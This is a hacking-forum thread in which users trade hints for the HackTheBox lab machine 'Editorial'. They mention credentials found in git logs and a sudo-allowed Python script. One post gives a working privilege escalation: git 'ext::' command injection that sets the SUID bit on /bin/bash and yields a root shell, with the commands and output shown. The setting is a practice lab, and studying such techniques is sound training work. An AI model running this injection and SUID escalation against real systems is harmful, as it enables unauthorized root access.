Jun 15, 2024, 09:10 PM
all i am getting is not found whatever endpoint i try
|
HTB - Editorial
by paven - Saturday June 15, 2024 at 05:48 PM
|
|
Jun 15, 2024, 09:10 PM
all i am getting is not found whatever endpoint i try
Jun 15, 2024, 09:12 PM
Credentials for prod are in git logs
There is a python script you can run as sudo. Didn't figure out abuse yet.
Jun 15, 2024, 09:12 PM
(This post was last modified: Jun 15, 2024, 09:14 PM by BahsbFAISfjhb.)
Jun 15, 2024, 09:16 PM
(Jun 15, 2024, 09:12 PM)BahsbFAISfjhb Wrote: Looking for secrets in apps/.git, not found anything just yet git show 1e84a036b2f33c59e2390730699a488c65643d28 in ~/apps
Jun 15, 2024, 09:20 PM
for root just use /bin/bash suid
so much easyier
Jun 15, 2024, 09:26 PM
(Jun 15, 2024, 09:23 PM)hatteba Wrote: Can someone say what we need to rewrite? or what to do? for root? It's command injection, read the script that you are calling - wildcard in the context of sudo -l just means any input
Jun 15, 2024, 09:28 PM
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::/bin/bash -p"
This doesnt work
Jun 15, 2024, 09:34 PM
user flag hint how to get username and password through api, there is not path in url like api
Jun 15, 2024, 09:37 PM
(This post was last modified: Jun 15, 2024, 09:46 PM by void-reaper.)
This worked :D
prod@editorial:~$ echo '#!/bin/bash' > /tmp/exploit.sh echo 'chmod u+s /bin/bash' >> /tmp/exploit.sh prod@editorial:~$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c '/tmp/exploit.sh'" prod@editorial:~$ ls -l /bin/bash -rwsr-xr-x 1 root root 1396520 Mar 14 11:31 /bin/bash prod@editorial:~$ /bin/bash -p bash-5.1#
Jun 15, 2024, 09:50 PM
(This post was last modified: Jun 15, 2024, 09:51 PM by nyctophile.)
|
|
« Next Oldest | Next Newest »
|
| Possibly Related Threads… | |||||
| Thread | Author | Replies | Views | Last Post | |
| [FREE] CPTS 12 FLAGS | 66 | 1,790 |
6 hours ago Last Post: vlka |
||
| [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired | 370 | 92,595 |
11 hours ago Last Post: lifolifo007 |
||
| Hack the box Pro Labs, VIP, VIP+ 1 month free Method | 23 | 2,218 |
Yesterday, 02:10 PM Last Post: kkkato |
||
| [FREE] HackTheBox Academy - CBBH CDSA CPTS All Modules Flags | 20 | 2,526 |
Apr 29, 2026, 11:06 PM Last Post: op334 |
||
|
|
[FREE] HackTheBox All Cheatsheets | 3 | 416 |
Apr 29, 2026, 10:36 PM Last Post: op334 |
|